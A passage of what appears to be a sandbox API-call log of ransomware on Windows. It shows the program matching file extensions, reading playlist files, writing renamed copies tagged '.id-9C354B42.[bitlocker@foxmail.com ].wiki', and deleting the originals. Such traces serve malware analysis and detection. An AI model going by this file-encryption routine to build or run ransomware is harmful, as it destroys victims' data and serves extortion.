lstrlenW (lpString=".docx") returned 5 [0180.744] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.744] lstrlenW (lpString=".pdf") returned 4 [0180.744] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString=".xls") returned 4 [0180.744] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.745] lstrlenW (lpString=".xlsx") returned 5 [0180.745] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.745] lstrlenW (lpString=".ppt") returned 4 [0180.745] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.745] lstrlenW (lpString=".zip") returned 4 [0180.745] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.745] lstrlenW (lpString=".rar") returned 4 [0180.745] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.745] lstrlenW (lpString=".bz2") returned 4 [0180.745] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.745] lstrlenW (lpString=".7z") returned 3 [0180.745] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.745] lstrlenW (lpString=".dbf") returned 4 [0180.745] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.745] lstrlenW (lpString=".1cd") returned 4 [0180.745] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.745] lstrlenW (lpString=".jpg") returned 4 [0180.745] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.745] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.745] lstrlenW (lpString="12_All_Video.wpl") returned 16 [0180.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.746] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1079) returned 1 [0180.746] CloseHandle (hObject=0x320) returned 1 [0180.746] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl")) returned 0x2020 [0180.746] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.746] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.746] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.747] GetLastError () returned 0x0 [0180.747] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x437, lpOverlapped=0x0) returned 1 [0180.748] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0180.749] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.749] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0180.749] SetEndOfFile (hFile=0x1b4) returned 1 [0180.749] CloseHandle (hObject=0x1b4) returned 1 [0180.750] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.750] SetEndOfFile (hFile=0x320) returned 1 [0180.750] CloseHandle (hObject=0x320) returned 1 [0180.750] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.750] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl")) returned 1 [0180.751] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.751] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.751] lstrlenW (lpString=".doc") returned 4 [0180.751] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.751] lstrlenW (lpString=".docx") returned 5 [0180.751] lstrcmpiW (lpString1=".docx", lpString2="o.wpl") returned -1 [0180.751] lstrlenW (lpString=".pdf") returned 4 [0180.751] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.751] lstrlenW (lpString=".xls") returned 4 [0180.751] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.751] lstrlenW (lpString=".xlsx") returned 5 [0180.751] lstrcmpiW (lpString1=".xlsx", lpString2="o.wpl") returned -1 [0180.751] lstrlenW (lpString=".ppt") returned 4 [0180.751] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.751] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.751] lstrlenW (lpString=".zip") returned 4 [0180.751] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.751] lstrlenW (lpString=".rar") returned 4 [0180.751] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.751] lstrlenW (lpString=".bz2") returned 4 [0180.751] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.751] lstrlenW (lpString=".7z") returned 3 [0180.751] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.751] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString=".dbf") returned 4 [0180.752] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString=".1cd") returned 4 [0180.752] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString=".jpg") returned 4 [0180.752] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString=".doc") returned 4 [0180.752] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString=".docx") returned 5 [0180.752] lstrcmpiW (lpString1=".docx", lpString2="o.wpl") returned -1 [0180.752] lstrlenW (lpString=".pdf") returned 4 [0180.752] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString=".xls") returned 4 [0180.752] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.752] lstrlenW (lpString=".xlsx") returned 5 [0180.752] lstrcmpiW (lpString1=".xlsx", lpString2="o.wpl") returned -1 [0180.752] lstrlenW (lpString=".ppt") returned 4 [0180.752] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.752] lstrlenW (lpString=".zip") returned 4 [0180.752] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.752] lstrlenW (lpString=".rar") returned 4 [0180.753] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.753] lstrlenW (lpString=".bz2") returned 4 [0180.753] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.753] lstrlenW (lpString=".7z") returned 3 [0180.753] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.753] lstrlenW (lpString=".dbf") returned 4 [0180.753] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.753] lstrlenW (lpString=".1cd") returned 4 [0180.753] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 113 [0180.753] lstrlenW (lpString=".jpg") returned 4 [0180.753] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.753] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.753] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34 [0180.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.754] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1044) returned 1 [0180.754] CloseHandle (hObject=0x320) returned 1 [0180.754] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl")) returned 0x2020 [0180.755] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.755] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.755] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.755] GetLastError () returned 0x0 [0180.755] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x414, lpOverlapped=0x0) returned 1 [0180.757] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x420, lpOverlapped=0x0) returned 1 [0180.758] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.758] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.758] SetEndOfFile (hFile=0x1b4) returned 1 [0180.758] CloseHandle (hObject=0x1b4) returned 1 [0180.758] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.758] SetEndOfFile (hFile=0x320) returned 1 [0180.759] CloseHandle (hObject=0x320) returned 1 [0180.759] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.759] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl")) returned 1 [0180.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.760] lstrlenW (lpString=".doc") returned 4 [0180.760] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.760] lstrlenW (lpString=".docx") returned 5 [0180.760] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.760] lstrlenW (lpString=".pdf") returned 4 [0180.760] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.760] lstrlenW (lpString=".xls") returned 4 [0180.760] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.760] lstrlenW (lpString=".xlsx") returned 5 [0180.760] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.760] lstrlenW (lpString=".ppt") returned 4 [0180.760] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.760] lstrlenW (lpString=".zip") returned 4 [0180.760] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.760] lstrlenW (lpString=".rar") returned 4 [0180.760] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.760] lstrlenW (lpString=".bz2") returned 4 [0180.760] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.760] lstrlenW (lpString=".7z") returned 3 [0180.760] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString=".dbf") returned 4 [0180.761] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString=".1cd") returned 4 [0180.761] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString=".jpg") returned 4 [0180.761] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString=".doc") returned 4 [0180.761] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString=".docx") returned 5 [0180.761] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.761] lstrlenW (lpString=".pdf") returned 4 [0180.761] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString=".xls") returned 4 [0180.761] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.761] lstrlenW (lpString=".xlsx") returned 5 [0180.761] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.761] lstrlenW (lpString=".ppt") returned 4 [0180.761] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.761] lstrlenW (lpString=".zip") returned 4 [0180.761] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.761] lstrlenW (lpString=".rar") returned 4 [0180.761] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.762] lstrlenW (lpString=".bz2") returned 4 [0180.762] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.762] lstrlenW (lpString=".7z") returned 3 [0180.762] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.762] lstrlenW (lpString=".dbf") returned 4 [0180.762] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.762] lstrlenW (lpString=".1cd") returned 4 [0180.762] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.762] lstrlenW (lpString=".jpg") returned 4 [0180.762] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.762] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.762] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36 [0180.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.763] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1279) returned 1 [0180.763] CloseHandle (hObject=0x320) returned 1 [0180.763] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl")) returned 0x2020 [0180.763] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.764] GetLastError () returned 0x0 [0180.764] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x4ff, lpOverlapped=0x0) returned 1 [0180.766] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, 